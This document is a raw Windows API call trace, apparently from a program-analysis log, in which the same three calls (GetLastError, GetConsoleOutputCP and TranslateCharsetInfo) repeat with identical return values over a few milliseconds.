	[0088.223] GetLastError () returned 0xcb
	[0088.223] GetConsoleOutputCP () returned 0x1b5
	[0088.224] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.224] GetLastError () returned 0xcb
	[0088.224] GetConsoleOutputCP () returned 0x1b5
	[0088.224] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.224] GetLastError () returned 0xcb
	[0088.224] GetConsoleOutputCP () returned 0x1b5
	[0088.224] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.224] GetLastError () returned 0xcb
	[0088.224] GetConsoleOutputCP () returned 0x1b5
	[0088.224] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.224] GetLastError () returned 0xcb
	[0088.224] GetConsoleOutputCP () returned 0x1b5
	[0088.224] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.224] GetLastError () returned 0xcb
	[0088.224] GetConsoleOutputCP () returned 0x1b5
	[0088.224] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.224] GetLastError () returned 0xcb
	[0088.224] GetConsoleOutputCP () returned 0x1b5
	[0088.224] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.224] GetLastError () returned 0xcb
	[0088.224] GetConsoleOutputCP () returned 0x1b5
	[0088.225] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.225] GetLastError () returned 0xcb
	[0088.225] GetConsoleOutputCP () returned 0x1b5
	[0088.225] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.225] GetLastError () returned 0xcb
	[0088.225] GetConsoleOutputCP () returned 0x1b5
	[0088.225] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.225] GetLastError () returned 0xcb
	[0088.225] GetConsoleOutputCP () returned 0x1b5
	[0088.225] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.225] GetLastError () returned 0xcb
	[0088.225] GetConsoleOutputCP () returned 0x1b5
	[0088.225] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.225] GetLastError () returned 0xcb
	[0088.225] GetConsoleOutputCP () returned 0x1b5
	[0088.225] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.225] GetLastError () returned 0xcb
	[0088.225] GetConsoleOutputCP () returned 0x1b5
	[0088.225] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.225] GetLastError () returned 0xcb
	[0088.225] GetConsoleOutputCP () returned 0x1b5
	[0088.226] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.226] GetLastError () returned 0xcb
	[0088.226] GetConsoleOutputCP () returned 0x1b5
	[0088.226] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.226] GetLastError () returned 0xcb
	[0088.226] GetConsoleOutputCP () returned 0x1b5
	[0088.226] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.226] GetLastError () returned 0xcb
	[0088.226] GetConsoleOutputCP () returned 0x1b5
	[0088.226] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.226] GetLastError () returned 0xcb
	[0088.226] GetConsoleOutputCP () returned 0x1b5
	[0088.226] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.226] GetLastError () returned 0xcb
	[0088.226] GetConsoleOutputCP () returned 0x1b5
	[0088.226] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.226] GetLastError () returned 0xcb
	[0088.226] GetConsoleOutputCP () returned 0x1b5
	[0088.226] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.226] GetLastError () returned 0xcb
	[0088.227] GetConsoleOutputCP () returned 0x1b5
	[0088.227] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.227] GetLastError () returned 0xcb
	[0088.227] GetConsoleOutputCP () returned 0x1b5
	[0088.227] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.227] GetLastError () returned 0xcb
	[0088.227] GetConsoleOutputCP () returned 0x1b5
	[0088.227] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.227] GetLastError () returned 0xcb
	[0088.227] GetConsoleOutputCP () returned 0x1b5
	[0088.227] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.227] GetLastError () returned 0xcb
	[0088.227] GetConsoleOutputCP () returned 0x1b5
	[0088.227] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.227] GetLastError () returned 0xcb
	[0088.227] GetConsoleOutputCP () returned 0x1b5
	[0088.227] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.227] GetLastError () returned 0xcb
	[0088.227] GetConsoleOutputCP () returned 0x1b5
	[0088.228] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.228] GetLastError () returned 0xcb
	[0088.228] GetConsoleOutputCP () returned 0x1b5
	[0088.228] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.228] GetLastError () returned 0xcb
	[0088.228] GetConsoleOutputCP () returned 0x1b5
	[0088.228] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.228] GetLastError () returned 0xcb
	[0088.228] GetConsoleOutputCP () returned 0x1b5
	[0088.228] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.228] GetLastError () returned 0xcb
	[0088.228] GetConsoleOutputCP () returned 0x1b5
	[0088.228] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.228] GetLastError () returned 0xcb
	[0088.228] GetConsoleOutputCP () returned 0x1b5
	[0088.228] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.228] GetLastError () returned 0xcb
	[0088.228] GetConsoleOutputCP () returned 0x1b5
	[0088.228] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.228] GetLastError () returned 0xcb
	[0088.228] GetConsoleOutputCP () returned 0x1b5
	[0088.229] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.229] GetLastError () returned 0xcb
	[0088.229] GetConsoleOutputCP () returned 0x1b5
	[0088.229] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.229] GetLastError () returned 0xcb
	[0088.229] GetConsoleOutputCP () returned 0x1b5
	[0088.229] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.229] GetLastError () returned 0xcb
	[0088.229] GetConsoleOutputCP () returned 0x1b5
	[0088.229] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.229] GetLastError () returned 0xcb
	[0088.229] GetConsoleOutputCP () returned 0x1b5
	[0088.229] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.229] GetLastError () returned 0xcb
	[0088.229] GetConsoleOutputCP () returned 0x1b5
	[0088.229] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.229] GetLastError () returned 0xcb
	[0088.229] GetConsoleOutputCP () returned 0x1b5
	[0088.229] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.229] GetLastError () returned 0xcb
	[0088.229] GetConsoleOutputCP () returned 0x1b5
	[0088.230] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.230] GetLastError () returned 0xcb
	[0088.230] GetConsoleOutputCP () returned 0x1b5
	[0088.230] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.230] GetLastError () returned 0xcb
	[0088.230] GetConsoleOutputCP () returned 0x1b5
	[0088.230] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.230] GetLastError () returned 0xcb
	[0088.230] GetConsoleOutputCP () returned 0x1b5
	[0088.230] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.230] GetLastError () returned 0xcb
	[0088.230] GetConsoleOutputCP () returned 0x1b5
	[0088.230] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.230] GetLastError () returned 0xcb
	[0088.230] GetConsoleOutputCP () returned 0x1b5
	[0088.230] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.230] GetLastError () returned 0xcb
	[0088.230] GetConsoleOutputCP () returned 0x1b5
	[0088.230] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.230] GetLastError () returned 0xcb
	[0088.231] GetConsoleOutputCP () returned 0x1b5
	[0088.231] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.231] GetLastError () returned 0xcb
	[0088.231] GetConsoleOutputCP () returned 0x1b5
	[0088.231] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.231] GetLastError () returned 0xcb
	[0088.231] GetConsoleOutputCP () returned 0x1b5
	[0088.231] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.231] GetLastError () returned 0xcb
	[0088.231] GetConsoleOutputCP () returned 0x1b5
	[0088.231] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.231] GetLastError () returned 0xcb
	[0088.231] GetConsoleOutputCP () returned 0x1b5
	[0088.231] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.231] GetLastError () returned 0xcb
	[0088.231] GetConsoleOutputCP () returned 0x1b5
	[0088.231] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.231] GetLastError () returned 0xcb
	[0088.231] GetConsoleOutputCP () returned 0x1b5
	[0088.232] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.232] GetLastError () returned 0xcb
	[0088.232] GetConsoleOutputCP () returned 0x1b5
	[0088.232] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.232] GetLastError () returned 0xcb
	[0088.232] GetConsoleOutputCP () returned 0x1b5
	[0088.232] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.232] GetLastError () returned 0xcb
	[0088.232] GetConsoleOutputCP () returned 0x1b5
	[0088.232] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.232] GetLastError () returned 0xcb
	[0088.232] GetConsoleOutputCP () returned 0x1b5
	[0088.232] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.232] GetLastError () returned 0xcb
	[0088.232] GetConsoleOutputCP () returned 0x1b5
	[0088.232] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.232] GetLastError () returned 0xcb
	[0088.232] GetConsoleOutputCP () returned 0x1b5
	[0088.232] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.232] GetLastError () returned 0xcb
	[0088.233] GetConsoleOutputCP () returned 0x1b5
	[0088.233] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.233] GetLastError () returned 0xcb
	[0088.233] GetConsoleOutputCP () returned 0x1b5
	[0088.233] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.233] GetLastError () returned 0xcb
	[0088.233] GetConsoleOutputCP () returned 0x1b5
	[0088.233] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.233] GetLastError () returned 0xcb
	[0088.233] GetConsoleOutputCP () returned 0x1b5
	[0088.234] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.234] GetLastError () returned 0xcb
	[0088.234] GetConsoleOutputCP () returned 0x1b5
	[0088.234] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.234] GetLastError () returned 0xcb
	[0088.234] GetConsoleOutputCP () returned 0x1b5
	[0088.234] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.234] GetLastError () returned 0xcb
	[0088.234] GetConsoleOutputCP () returned 0x1b5
	[0088.234] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.234] GetLastError () returned 0xcb
	[0088.234] GetConsoleOutputCP () returned 0x1b5
	[0088.234] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.234] GetLastError () returned 0xcb
	[0088.234] GetConsoleOutputCP () returned 0x1b5
	[0088.235] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.235] GetLastError () returned 0xcb
	[0088.235] GetConsoleOutputCP () returned 0x1b5
	[0088.235] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.235] GetLastError () returned 0xcb
	[0088.235] GetConsoleOutputCP () returned 0x1b5
	[0088.235] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.235] GetLastError () returned 0xcb
	[0088.235] GetConsoleOutputCP () returned 0x1b5
	[0088.235] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.235] GetLastError () returned 0xcb
	[0088.235] GetConsoleOutputCP () returned 0x1b5
	[0088.235] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.235] GetLastError () returned 0xcb
	[0088.235] GetConsoleOutputCP () returned 0x1b5
	[0088.235] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.235] GetLastError () returned 0xcb
	[0088.235] GetConsoleOutputCP () returned 0x1b5
	[0088.236] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.236] GetLastError () returned 0xcb
	[0088.236] GetConsoleOutputCP () returned 0x1b5
	[0088.236] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.236] GetLastError () returned 0xcb
	[0088.236] GetConsoleOutputCP () returned 0x1b5
	[0088.236] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaf000, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaf000) returned 0
	[0088.236] GetLastError () returned 0xcb
	[0088.236] GetConsoleOutputCP () returned 0x1b5
	[0088.236] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.236] GetLastError () returned 0xcb
	[0088.236] GetConsoleOutputCP () returned 0x1b5
	[0088.236] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.236] GetLastError () returned 0xcb
	[0088.236] GetConsoleOutputCP () returned 0x1b5
	[0088.237] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.237] GetLastError () returned 0xcb
	[0088.237] GetConsoleOutputCP () returned 0x1b5
	[0088.237] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.237] GetLastError () returned 0xcb
	[0088.237] GetConsoleOutputCP () returned 0x1b5
	[0088.237] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.237] GetLastError () returned 0xcb
	[0088.237] GetConsoleOutputCP () returned 0x1b5
	[0088.237] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.237] GetLastError () returned 0xcb
	[0088.237] GetConsoleOutputCP () returned 0x1b5
	[0088.237] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.237] GetLastError () returned 0xcb
	[0088.237] GetConsoleOutputCP () returned 0x1b5
	[0088.238] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.238] GetLastError () returned 0xcb
	[0088.238] GetConsoleOutputCP () returned 0x1b5
	[0088.238] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.238] GetLastError () returned 0xcb
	[0088.238] GetConsoleOutputCP () returned 0x1b5
	[0088.238] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.238] GetLastError () returned 0xcb
	[0088.238] GetConsoleOutputCP () returned 0x1b5
	[0088.238] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.238] GetLastError () returned 0xcb
	[0088.238] GetConsoleOutputCP () returned 0x1b5
	[0088.238] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.238] GetLastError () returned 0xcb
	[0088.238] GetConsoleOutputCP () returned 0x1b5
	[0088.238] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.239] GetLastError () returned 0xcb
	[0088.239] GetConsoleOutputCP () returned 0x1b5
	[0088.239] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.239] GetLastError () returned 0xcb
	[0088.239] GetConsoleOutputCP () returned 0x1b5
	[0088.239] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.239] GetLastError () returned 0xcb
	[0088.239] GetConsoleOutputCP () returned 0x1b5
	[0088.239] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.239] GetLastError () returned 0xcb
	[0088.239] GetConsoleOutputCP () returned 0x1b5
	[0088.239] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.239] GetLastError () returned 0xcb
	[0088.239] GetConsoleOutputCP () returned 0x1b5
	[0088.239] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.239] GetLastError () returned 0xcb
	[0088.240] GetConsoleOutputCP () returned 0x1b5
	[0088.240] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.240] GetLastError () returned 0xcb
	[0088.240] GetConsoleOutputCP () returned 0x1b5
	[0088.240] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.240] GetLastError () returned 0xcb
	[0088.240] GetConsoleOutputCP () returned 0x1b5
	[0088.240] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.240] GetLastError () returned 0xcb
	[0088.240] GetConsoleOutputCP () returned 0x1b5
	[0088.240] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.240] GetLastError () returned 0xcb
	[0088.240] GetConsoleOutputCP () returned 0x1b5
	[0088.240] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.240] GetLastError () returned 0xcb
	[0088.240] GetConsoleOutputCP () returned 0x1b5
	[0088.241] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.241] GetLastError () returned 0xcb
	[0088.241] GetConsoleOutputCP () returned 0x1b5
	[0088.241] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.241] GetLastError () returned 0xcb
	[0088.241] GetConsoleOutputCP () returned 0x1b5
	[0088.241] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.241] GetLastError () returned 0xcb
	[0088.241] GetConsoleOutputCP () returned 0x1b5
	[0088.241] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.241] GetLastError () returned 0xcb
	[0088.241] GetConsoleOutputCP () returned 0x1b5
	[0088.241] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.241] GetLastError () returned 0xcb
	[0088.241] GetConsoleOutputCP () returned 0x1b5
	[0088.242] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.242] GetLastError () returned 0xcb
